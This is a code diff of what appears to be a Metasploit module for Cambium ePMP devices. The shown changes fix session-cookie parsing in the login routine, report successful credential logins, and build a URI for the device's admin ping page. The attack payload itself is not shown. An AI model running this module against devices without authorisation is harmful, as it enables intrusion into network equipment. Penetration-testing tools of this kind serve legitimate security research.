@@ -103,7 +103,7 @@ def check
103
103
if ( success != 'false' && !epmp_ver . nil? && epmp_ver < '2.5' )
104
104
return CheckCode ::Vulnerable
105
105
else
106
- return CheckCode ::Safe # Using 'Safe' here to imply this ver is not exploitable using the module'
106
+ return CheckCode ::Safe # Using 'Safe' here to imply this ver is not exploitable using ~ the module~ '
107
107
end
108
108
end
109
109
@@ -128,16 +128,19 @@ def login(user, pass)
128
128
)
129
129
130
130
cookies = res . get_cookies_parsed
131
+ check_sysauth = cookies . values . select { |v | v . to_s =~ /sysauth_/ } . first . to_s
132
+
131
133
good_response = (
132
134
res &&
133
135
res . code == 200 &&
134
- cookies . include? ( 'sysauth' )
136
+ check_sysauth . include? ( 'sysauth' )
135
137
)
136
138
137
139
if good_response
138
- sysauth_value = cookies . match ( /((.*)[$ ])/ )
140
+ sysauth_dirty = cookies . values . select { |v | v . to_s =~ /sysauth_/ } . first . to_s
141
+ sysauth_value = sysauth_dirty . match ( /((.*)[$ ])/ )
139
142
140
- cookie1 = "#{ sysauth_value } ; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{ user } %22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
143
+ cookie1 = "#{ sysauth_value } " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{ user } %22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D"
141
144
142
145
res = send_request_cgi (
143
146
{
@@ -158,21 +161,24 @@ def login(user, pass)
158
161
)
159
162
160
163
cookies = res . get_cookies_parsed
164
+
161
165
good_response = (
162
166
res &&
163
167
res . code == 200 &&
164
- cookies . include ?( 'stok= ' ) &&
168
+ cookies . has_key ?( 'stok' ) &&
165
169
!res . body . include? ( 'Maximum number of users reached.' )
166
170
)
167
171
168
172
if good_response
169
173
print_good ( "SUCCESSFUL LOGIN - #{ rhost } :#{ rport } - #{ user . inspect } :#{ pass . inspect } " )
170
174
171
- # get the cookie now
172
- get_stok = cookies . match ( /stok=(.*)/ )
173
- stok_value = get_stok [ 1 ]
174
- sysauth_value = cookies . match ( /((.*)[$ ])/ )
175
- final_cookie = "#{ sysauth_value } ; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{ user } %22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{ stok_value } "
175
+ # get the final cookie now
176
+ cookies = res . get_cookies_parsed
177
+ stok_value = cookies . has_key? ( 'stok' ) && cookies [ 'stok' ] . first
178
+ sysauth_dirty = cookies . values . select { |v | v . to_s =~ /sysauth_/ } . first . to_s
179
+ sysauth_value = sysauth_dirty . match ( /((.*)[$ ])/ ) # gets sysauth_*
180
+
181
+ final_cookie = "#{ sysauth_value } " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{ user } %22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D; userType=Installer; usernameType=installer; stok=" + "#{ stok_value } "
176
182
177
183
# create config_uri
178
184
config_uri_ping = '/cgi-bin/luci/;stok=' + "#{ stok_value } " + '/admin/ping'
0 commit comments